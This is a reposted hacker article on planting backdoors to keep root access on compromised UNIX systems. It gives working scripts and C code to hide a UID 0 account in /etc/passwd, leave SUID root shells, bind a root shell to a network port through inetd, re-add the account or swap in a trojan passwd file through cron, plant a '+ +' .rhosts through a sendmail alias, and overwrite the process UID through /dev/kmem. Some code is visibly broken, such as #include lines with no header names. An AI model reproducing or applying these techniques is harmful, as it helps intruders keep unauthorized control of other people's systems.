· 10 years ago · Jun 10, 2016, 01:51 AM
1Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
2The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect
3permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally!
4After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user
5privilege you have worked so hard to achieve....?
6
7This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.
8From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever
9wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your
10system?
11This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
12ways into one.
13
14Beforehand
15
16Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
17now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
18format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
19robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
20you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
21nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...
22
23The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
24skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
25admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
26to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
27looking for back doors.
28
29
30
31The Overt
32
33[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
34flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
35prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...
36
37#!/bin/csh
38# Inserts a UID 0 account into the middle of the passwd file.
39# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
40# daemon9@netcom.com
41
42set linecount = `wc -l /etc/passwd`
43cd # Do this at home.
44cp /etc/passwd ./temppass # Safety first.
45echo passwd file has $linecount[1] lines.
46@ linecount[1] /= 2
47@ linecount[1] += 1 # we only want 2 temp files
48echo Creating two files, $linecount[1] lines each \(or approximately that\).
49split -$linecount[1] ./temppass # passwd string optional
50echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
51cat ./xab >> ./xaa
52mv ./xaa /etc/passwd
53chmod 644 /etc/passwd # or whatever it was beforehand
54rm ./xa* ./temppass
55echo Done...
56
57NEVER, EVER, change the root password. The reasons are obvious.
58
59[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
60passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
61field).
62
63[3] Leave an SUID root shell in /tmp.
64
65#!/bin/sh
66# Everyone's favorite...
67
68cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
69chmod 4755 /tmp/.evilnaughtyshell
70
71Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
72to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
73notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
74specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
75
76
77
78The Veiled
79
80[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
81background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
82appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
83lines look like this:
84
85(1) (2) (3) (4) (5) (6) (7)
86ftp stream tcp nowait root /usr/etc/ftpd ftpd
87talk dgram udp wait root /usr/etc/ntalkd ntalkd
88
89Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
90which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
91TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
92or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
93process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
94child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
95inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
96command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
97This is done with an 'internal' flag in fields (6) and (7).
98So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
99with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
100file, etc...
101For the insinuation-impaired, try this:
102
103Open the /etc/inetd.conf in an available editor. Find the line that reads:
104
105
106 daytime stream tcp nowait root internal
107
108and change it to:
109
110 daytime stream tcp nowait /bin/sh sh -i.
111
112You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
113restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
114to do this off peak hours).
115
116[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
117simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
118/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:
119
120(1) (2)/(3) (4)
121smtp 25/tcp mail
122
123Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
124associated with the service. For instance, add this line to /etc/services:
125
126 evil 22/tcp evil
127
128and this line to /etc/inetd.conf:
129
130 evil stream tcp nowait /bin/sh sh -i
131
132Restart inetd as before.
133
134Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
135they offer rentry from *any* account on *any* computer on the Internet.
136
137[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
138crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
139backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
140several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
141It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
142or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
143entry has six fields:
144
145(1) (2) (3) (4) (5) (6)
146 0 0 * * 1 /usr/bin/updatedb
147
148Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
149(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
150simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
151/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
152be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
153shady intentions). Add this line to /var/spool/crontab/root:
154
155 0 0 * * * /usr/bin/trojancode
156
157This is the shell script:
158
159#!/bin/csh
160# Is our eviluser still on the system? Let's make sure he is.
161#daemon9@netcom.com
162
163set evilflag = (`grep eviluser /etc/passwd`)
164
165
166if($#evilflag == 0) then # Is he there?
167
168 set linecount = `wc -l /etc/passwd`
169 cd # Do this at home.
170 cp /etc/passwd ./temppass # Safety first.
171 @ linecount[1] /= 2
172 @ linecount[1] += 1 # we only want 2 temp files
173 split -$linecount[1] ./temppass # passwd string optional
174 echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
175 cat ./xab >> ./xaa
176 mv ./xaa /etc/passwd
177 chmod 644 /etc/passwd # or whatever it was beforehand
178 rm ./xa* ./temppass
179 echo Done...
180else
181endif
182
183[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
184/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
185account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
186copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
187Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
188would be ok. Add this line to root's crontab file:
189
190
191 29 2 * * * /bin/usr/sneakysneaky_passwd
192
193make sure this exists:
194
195#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
196
197and this is the simple shell script:
198
199#!/bin/csh
200# Install trojan /etc/passwd file for one minute
201#daemon9@netcom.com
202
203cp /etc/passwd /etc/.temppass
204cp /var/spool/mail/.sneaky /etc/passwd
205sleep 60
206mv /etc/.temppass /etc/passwd
207
208[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
209Make sure it runs as root. Name it something innocous. Hide it well.
210
211/* A little trojan to create an SUID root shell, if the proper argument is
212given. C code, rather than shell to hide obvious it's effects. */
213/* daemon9@netcom.com */
214
215#include
216
217#define KEYWORD "industry3"
218#define BUFFERSIZE 10
219
220int main(argc, argv)
221int argc;
222char *argv[];{
223
224 int i=0;
225
226 if(argv[1]){ /* we've got an argument, is it the keyword? */
227
228 if(!(strcmp(KEYWORD,argv[1]))){
229
230 /* This is the trojan part. */
231 system("cp /bin/csh /bin/.swp121");
232 system("chown root /bin/.swp121");
233 system("chmod 4755 /bin/.swp121");
234 }
235 }
236 /* Put your possibly system specific trojan
237 messages here */
238 /* Let's look like we're doing something... */
239 printf("Sychronizing bitmap image records.");
240 /* system("ls -alR / >& /dev/null > /dev/null&"); */
241 for(;i<10;i++){
242 fprintf(stderr,".");
243 sleep(1);
244 }
245 printf("\nDone.\n");
246 return(0);
247} /* End main */
248
249[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
250users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:
251
252 "decode: "|/usr/bin/uudecode"
253
254to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.
255
256#! /bin/csh
257
258# Create our .rhosts file. Note this will output to stdout.
259
260echo "+ +" > tmpfile
261/usr/bin/uuencode tmpfile /root/.rhosts
262
263Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
264.rhosts file. For a one liner (not faked, however) do this:
265
266%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com
267
268You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
269choosing. Many of the previous scripts and methods can be employed here.
270
271
272
273The Covert
274
275[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
276The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
277case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
278general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
279are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
280Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:
281
282get input;
283if input is special hardcoded flag, spawn evil trojan;
284else if input is valid, continue;
285else quit with error;
286...
287
288Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.
289
290
291
292The Esoteric
293
294[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
295to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
296permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
297your current process, then spawn a csh, which will inherit this UID. The following program does just that.
298
299/* If /kmem is is readable and writable, this program will change the user's
300UID and GID to 0. */
301/* This code originally appeared in "UNIX security: A practical tutorial"
302with some modifications by daemon9@netcom.com */
303
304#include
305#include
306#include
307#include
308#include
309#include
310#include
311
312#define KEYWORD "nomenclature1"
313
314struct user userpage;
315long address(), userlocation;
316
317int main(argc, argv, envp)
318int argc;
319char *argv[], *envp[];{
320
321 int count, fd;
322 long where, lseek();
323
324 if(argv[1]){ /* we've got an argument, is it the keyword? */
325 if(!(strcmp(KEYWORD,argv[1]))){
326 fd=(open("/dev/kmem",O_RDWR);
327
328 if(fd<0){
329 printf("Cannot read or write to /dev/kmem\n");
330 perror(argv);
331 exit(10);
332 }
333
334 userlocation=address();
335 where=(lseek(fd,userlocation,0);
336
337 if(where!=userlocation){
338 printf("Cannot seek to user page\n");
339 perror(argv);
340 exit(20);
341 }
342
343 count=read(fd,&userpage,sizeof(struct user));
344
345 if(count!=sizeof(struct user)){
346 printf("Cannot read user page\n");
347 perror(argv);
348 exit(30);
349 }
350
351 printf("Current UID: %d\n",userpage.u_ruid);
352 printf("Current GID: %d\n",userpage.g_ruid);
353
354 userpage.u_ruid=0;
355 userpage.u_rgid=0;
356
357 where=lseek(fd,userlocation,0);
358
359 if(where!=userlocation){
360 printf("Cannot seek to user page\n");
361 perror(argv);
362 exit(40);
363 }
364
365 write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
366
367 execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
368 }
369 }
370
371} /* End main */
372
373#include
374#include
375#include
376
377#define LNULL ((LDFILE *)0)
378
379long address(){
380
381 LDFILE *object;
382 SYMENT symbol;
383 long idx=0;
384
385 object=ldopen("/unix",LNULL);
386
387 if(!object){
388 fprintf(stderr,"Cannot open /unix.\n");
389 exit(50);
390 }
391
392 for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
393 if(!strcmp("_u",ldgetname(object,&symbol))){
394 fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
395 ldclose(object);
396 return(symbol.n_value);
397 }
398 }
399
400 fprintf(stderr,"Cannot read symbol table in /unix.\n");
401 exit(60);
402}
403
404[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
405care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
406discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:
407
408chmod 666 /dev/kmem
409sleep 300 # Nap for 5 minutes
410chmod 600 /dev/kmem # Or whatever it was before
411
412
413
414skype : yamod.gas